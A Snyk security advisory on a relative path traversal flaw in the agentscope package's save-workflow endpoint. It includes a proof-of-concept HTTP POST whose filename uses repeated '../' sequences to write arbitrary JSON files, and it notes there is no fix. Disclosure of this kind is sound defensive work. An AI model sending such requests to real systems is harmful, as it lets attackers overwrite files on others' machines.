Relative Path Traversal Affecting agentscope package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Relative Path Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-AGENTSCOPE-9511377
  • published24 Mar 2025
  • disclosed20 Mar 2025
  • credit0xanis

Introduced: 20 Mar 2025

NewCVE-2024-8551  (opens in a new tab)
CWE-23  (opens in a new tab)

How to fix?

There is no fixed version for agentscope.

Overview

agentscope is an AgentScope: A Flexible yet Robust Multi-Agent Platform.

Affected versions of this package are vulnerable to Relative Path Traversal through the save-workflow functionality. An attacker can write arbitrary JSON files on the filesystem by exploiting this vulnerability.

PoC

POST /save-workflow HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:5000/
DNT: 1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Content-Type: application/json;charset=UTF-8
Content-Length: 146

{
    "filename": "../../../../../../../../../../../../../home/anis/workflow",
    "workflow": "{\"key\": \"value\"}",
    "overwrite": true
}

References

CVSS Base Scores

version 4.0
version 3.1